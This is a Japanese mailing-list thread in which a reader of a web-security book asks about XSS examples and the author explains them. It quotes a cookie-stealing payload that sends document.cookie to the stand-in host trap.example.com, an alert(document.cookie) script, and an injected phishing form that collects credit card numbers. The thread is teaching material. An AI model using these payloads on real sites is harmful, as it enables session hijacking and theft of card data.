「表示処理に伴う問題」について

104 views
Skip to first unread message

OK

unread,
Nov 16, 2024, 12:38:54 PM11/16/24
to 「体系的に学ぶ 安全なWebアプリケーションの作り方」サポートML
徳丸様、いつもお世話になっております。
XSSの基本動作を洗い出したいです。

「表示処理に伴う問題」の「正常系」と「XSS攻撃」部分を図解してみましたので、内容に齟齬がないかご確認頂けますでしょうか。
また、4ページ目に質問を1つ記載しておりますので、何卒ご回答お願いできますでしょうか。
表示処理に伴う問題.pdf

OK

unread,
Nov 16, 2024, 1:32:27 PM11/16/24
to 「体系的に学ぶ 安全なWebアプリケーションの作り方」サポートML
度々申し訳ありません。
情報不足でしたので補足します。

4ページ目のhttpレスポンスに「iftq」から始まるセッションIDが記載されてますが、これが「document.cookie」の部分に記載されると思っておりました。
そうならない理由を質問しております。

よろしくお願い致します。

2024年11月17日日曜日 2:38:54 UTC+9 OK:

徳丸浩

unread,
Nov 16, 2024, 10:58:22 PM11/16/24
to wasbook...@googlegroups.com
徳丸です。こんにちは。

> 【質問①】右記の状態になるのはなぜでしょうか。[document.cookie]とはWEBブラウザが持つcookieを指すのでしょうか。

「右記の状態」はすなわち、以下ですが。

<body>
検索キーワード:<script>alert(document.cookie)</script><BR>
以下略
</body>

これは、元々のPHPスクリプトが以下であって、

<body>
検索キーワード:<?php echo $_GET['keyword']; ?><br>
以下略
</body>

echo は、式の値を表示する機能なので、$_GET['keyword'] を評価(実行)した結果を表示することになります。そして、これはクエリ文字列keywordを示していて、クエリ文字列は以下ですので、

keyword=<script>alert(document.cookie)</script>

すなわち、<script>alert(document.cookie)</script> を表示するという意味になります。その結果、表示内容は以下となります。

<body>
検索キーワード:<script>alert(document.cookie)</script><BR>
以下略
</body>

そして、ここからが重要ですが、HTMLとして<script> と </script> で挟まれた部分はJavaScriptとして実行されます。alertはダイアログを表示して、引数の値を表示するという意味です。
JavaScriptで、document.cookieは、現在のページのCookieを表示するという意味です。
したがって、ご質問「[document.cookie]とはWEBブラウザが持つcookieを指すのでしょうか」の答えは、イエスです。




2024年11月17日(日) 3:32 OK <cs00...@gmail.com>:
--
このメールは Google グループのグループ「「体系的に学ぶ 安全なWebアプリケーションの作り方」サポートML」に登録しているユーザーに送られています。
このグループから退会し、グループからのメールの配信を停止するには wasbook-reade...@googlegroups.com にメールを送信してください。
このディスカッションを表示するには、https://groups.google.com/d/msgid/wasbook-readers/0525284f-a0a1-4114-bbb2-cec00eb863dan%40googlegroups.com にアクセスしてください。


--

OK

unread,
Nov 17, 2024, 12:45:05 PM11/17/24
to 「体系的に学ぶ 安全なWebアプリケーションの作り方」サポートML
徳丸様、いつもお世話になっております。
ご確認、ご回答ありがとうございます。
理解できました。

回答内容を反映させ、さらに「3. 罠サイト」を追記致しました。
大変恐縮ですが、内容に齟齬がないかご確認頂けますでしょうか。

5ページと11ページに質問を記載しておりますので、何卒ご回答お願いできますでしょうか。

よろしくお願い致します。

2024年11月17日日曜日 12:58:22 UTC+9 徳丸浩:
表示処理に伴う問題.pdf

徳丸浩

unread,
Nov 17, 2024, 10:53:39 PM11/17/24
to wasbook...@googlegroups.com
徳丸です。こんにちは。

【質問①】③httpレスポンス受信時はこの状態ですか?

43-900.html のレスポンスを受信して表示(レンダリング)直後はまだiframeのレスポンスを受け取れてないので、iframe内は空白です。

【質問②】
この段階でcookie見えているのはなぜでしょうか。
WEBブラウザ受信前のため左記のように表示されると予想しておりました

これは、私の本のP124に書いている通りで、

この結果、脆弱なページでは以下のJavaScriptが実行されます。見やすいように改行を追加しました。
<script>
window.location='http://trap.example.com/43/43-901.php?sid='+document.cookie;
</script>

とブラウザ上で表示されます。この結果scriptタグ内のJavaScriptが実行される際にdocument.cookieの値が評価(実行)されて、

  ↓ document.cookie の値を評価(JavaScript実行)

となるため、罠ページへのリクエストのURLにはCookieの値が付与されることになります。

サーバー側でのPHP実行 → ブラウザ内のJavaScriptの実行

が2段階で行われているところに着目ください。



2024年11月18日(月) 2:45 OK <cs00...@gmail.com>:
このディスカッションを表示するには、https://groups.google.com/d/msgid/wasbook-readers/bddd537c-8dff-4e7e-be00-875fbe194254n%40googlegroups.com にアクセスしてください。


--

OK

unread,
Nov 18, 2024, 1:52:23 AM11/18/24
to 「体系的に学ぶ 安全なWebアプリケーションの作り方」サポートML
徳丸様、いつもお世話になっております。
ご確認、ご回答ありがとうございます。

理解できたと思います。
回答内容をP7、P10~12に反映させてみました。
認識齟齬ありましたらご指摘頂けますでしょうか。

徳丸様の文面に対して質問させてください。

>この結果、脆弱なページでは以下のJavaScriptが
>実行されます。見やすいように改行を追加しました。
><script>
>window.location='http://trap.example.com/43/43->901.php?sid='+document.cookie;
></script>
>とブラウザ上で表示されます。
→添付ファイルのP7の現象を指しますでしょうか。
 しかし、すぐに次を処理するので視認できないのか、 と認識しました。

>この結果scriptタグ内のJavaScriptが実行される際に
>document.cookieの値が評価(実行)されて、
→添付ファイルのP10の現象を指しますでしょうか。

>window.location='http://trap.example.com
>/43/43-901.php?sid=PHPSESSID=6qd8...'
>となるため、罠ページへのリクエストのURLには
>Cookieの値が付与されることになります。
→[罠ページへのリクエスト]とは、添付ファイルのP10の「⑧httpリクエスト」を指しますでしょうか。

お忙しい所恐れ入りますが、何卒ご回答よろしくお願い致します。

2024年11月18日月曜日 12:53:39 UTC+9 徳丸浩:
表示処理に伴う問題.pdf

徳丸浩

unread,
Nov 18, 2024, 2:16:10 AM11/18/24
to wasbook...@googlegroups.com
徳丸です。こんにちは。

はい、すべてご認識のとおりです。


2024年11月18日(月) 15:52 OK <cs00...@gmail.com>:
このディスカッションを表示するには、https://groups.google.com/d/msgid/wasbook-readers/89230421-5470-4789-8175-2f5da1619647n%40googlegroups.com にアクセスしてください。


--

OK

unread,
Nov 18, 2024, 11:52:53 AM11/18/24
to 「体系的に学ぶ 安全なWebアプリケーションの作り方」サポートML
徳丸様、いつもお世話になっております。
ご確認、ご回答ありがとうございます。
大変勉強になりました。

粗大ごみ申込WEBページについて、図解致しました。
4点ほど質問を記載しておりますので、お忙しい所恐れ入りますが何卒ご回答頂けますでしょうか。

よろしくお願い致します。

2024年11月18日月曜日 16:16:10 UTC+9 徳丸浩:
表示処理に伴う問題_4-5.pdf

徳丸浩

unread,
Nov 18, 2024, 5:50:28 PM11/18/24
to wasbook...@googlegroups.com
徳丸です。こんにちは。


【質問①】POSTメソッド実行時は右記のようにAからWEBページを取得するのでしょうか。

そのとおりです。

【質問②】⑤で実行される部分は下記の[form]のひとまとまりでしょうか。

⑤は単なるHTMLなので、「実行」というのは違和感があります。HTMLフォームとして、攻撃対象のスクリプトをPOSTリクエストで呼び出しています。

【質問③】【質問②】が合っている場合上記の[name]はAの[氏名]欄を 指しますか?  

そのとおりです。

【質問④】⑦httpレスポンス受信時WEBブラウザには何が表示されますでしょうか。空白を予想しております

違います。その後のHTMLが表示されます。リダイレクト等は起きません。




2024年11月19日(火) 1:53 OK <cs00...@gmail.com>:
このディスカッションを表示するには、https://groups.google.com/d/msgid/wasbook-readers/f29ad3df-ce93-4594-97f1-40db0e6a6f60n%40googlegroups.com にアクセスしてください。


--

OK

unread,
Nov 22, 2024, 1:39:53 PM11/22/24
to 「体系的に学ぶ 安全なWebアプリケーションの作り方」サポートML
徳丸様、いつもお世話になっております。
ご確認、ご回答ありがとうございます。

理解できたと思います。
回答内容を反映させてみました。
認識齟齬ありましたらご指摘頂けますでしょうか。

P8とP11にに質問を記載しておりますので、何卒ご回答お願いできますでしょうか。

よろしくお願い致します。

2024年11月19日火曜日 7:50:28 UTC+9 徳丸浩:
表示処理に伴う問題_4-5.pdf

徳丸浩

unread,
Nov 23, 2024, 1:05:54 AM11/23/24
to wasbook...@googlegroups.com
徳丸です。こんにちは。

【質問①】 このWEBページは 何をしているのでしょうか
 
当該の部分は以下ですが、

<form style=top:5px;left:5px;position:absolute;z-index:99;background-color:white
method=POST>粗大ゴミの回収費用がクレジットカードでお支払い頂けるようになりました<br>氏  名<input size=20 name=name><br>
住  所<input size=20 name=addr><br>電話番号<input size=20 name=tel><br>
品  目<input size=10 name=kind>数量<input size=5 name=num><br>カード番号
<input size=16 name=card>有効期限<input size=5 name=thru><br><input value=申込 type=submit><br><br><br><br><br></form>

これはHTMLフォームであり、3行目にあるようにmethod=POSTが指定されていますので、罠の被害者が入力した内容がPOSTメソッドで送信されます。
POSTメソッドなので、入力内容はURLにはつかず、リクエストボディとして送信されます。

【質問②】赤四角の内容はどこに表示されてますでしょうか。左記罠ページの後ろに隠れているのでしょうか。

その通りです。




2024年11月23日(土) 3:40 OK <cs00...@gmail.com>:
このディスカッションを表示するには、https://groups.google.com/d/msgid/wasbook-readers/f67a68f7-c90a-4c15-acc6-34dd5b52c107n%40googlegroups.com にアクセスしてください。


--

OK

unread,
Nov 23, 2024, 11:32:44 AM11/23/24
to 「体系的に学ぶ 安全なWebアプリケーションの作り方」サポートML
徳丸様、いつもお世話になっております。
ご確認、ご回答ありがとうございます。

昨日の【質問①】で[43-903.php]と[43-003.php]を勘違いしており、大変失礼致しました。
徳丸様の回答の通り、[43-903.php]にPOSTメソッドで入力データを送って応答を得ていると理解致しました。

【質問②】のご回答を資料に反映致しました。
もし認識齟齬等ありましたらご指摘ください。

何卒よろしくお願い致します。

2024年11月23日土曜日 15:05:54 UTC+9 徳丸浩:
表示処理に伴う問題_4-5.pdf

OK

unread,
Nov 23, 2024, 12:28:07 PM11/23/24
to 「体系的に学ぶ 安全なWebアプリケーションの作り方」サポートML
度々申し訳ありません。
【質問②】の回答を反映させたと言いましたが、お送りした資料のP11を指しております。

よろしくお願い致します。

2024年11月24日日曜日 1:32:44 UTC+9 OK:

徳丸浩

unread,
Nov 24, 2024, 4:50:46 AM11/24/24
to wasbook...@googlegroups.com
徳丸です。こんにちは。

> もし認識齟齬等ありましたらご指摘ください。

ここはオンラインサロンではないので、書籍に対する具体的な質問を超えるリクエストには応じておりません。あしからず。


2024年11月24日(日) 2:28 OK <cs00...@gmail.com>:
このディスカッションを表示するには、https://groups.google.com/d/msgid/wasbook-readers/4d46a9eb-c45b-4ba7-b4da-6255523e5632n%40googlegroups.com にアクセスしてください。


--

OK

unread,
Nov 24, 2024, 12:14:48 PM11/24/24
to 「体系的に学ぶ 安全なWebアプリケーションの作り方」サポートML
徳丸様、いつもお世話になっております。

質問を誤り大変失礼致しました。
今後は、書籍に関する内容を質問させて頂きます。
もし対応不可の内容がございましたら、今回のようにご指摘頂ければと思います。

引き続き勉強を続けます。
今後ともよろしくお願い致します。

2024年11月24日日曜日 18:50:46 UTC+9 徳丸浩:
Reply all
Reply to author
Forward
0 new messages